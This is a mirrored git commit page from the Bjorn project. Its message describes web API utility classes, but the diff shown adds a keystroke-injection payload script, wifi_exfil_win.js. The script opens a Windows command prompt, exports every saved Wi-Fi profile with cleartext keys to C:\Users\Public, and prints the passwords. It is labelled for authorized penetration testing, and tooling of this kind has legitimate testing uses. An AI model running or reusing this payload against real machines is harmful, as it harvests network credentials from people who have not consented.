mirror of
https://github.com/infinition/Bjorn.git
synced 2026-03-17 17:41:03 +00:00
Add Loki and Sentinel utility classes for web API endpoints
- Implemented LokiUtils class with GET and POST endpoints for managing scripts, jobs, and payloads. - Added SentinelUtils class with GET and POST endpoints for managing events, rules, devices, and notifications. - Both classes include error handling and JSON response formatting.
This commit is contained in:
20
loki/payloads/wifi_exfil_win.js
Normal file
20
loki/payloads/wifi_exfil_win.js
Normal file
@@ -0,0 +1,20 @@
|
||||
// WiFi Profile Exfiltration (Windows) — Dumps saved WiFi passwords via netsh
|
||||
// WARNING: For authorized penetration testing only.
|
||||
layout('us');
|
||||
delay(1000);
|
||||
|
||||
// Open CMD
|
||||
press("GUI r");
|
||||
delay(500);
|
||||
type("cmd\n");
|
||||
delay(1000);
|
||||
|
||||
// Export all WiFi profiles with keys to a file
|
||||
type("netsh wlan export profile key=clear folder=C:\\Users\\Public\n");
|
||||
delay(3000);
|
||||
|
||||
// Show WiFi passwords inline
|
||||
type("for /f \"tokens=2 delims=:\" %a in ('netsh wlan show profiles ^| findstr \"Profile\"') do @netsh wlan show profile name=%a key=clear 2>nul | findstr \"Key Content\"\n");
|
||||
delay(5000);
|
||||
|
||||
console.log("WiFi profiles exported to C:\\Users\\Public");
|
||||
Reference in New Issue
Block a user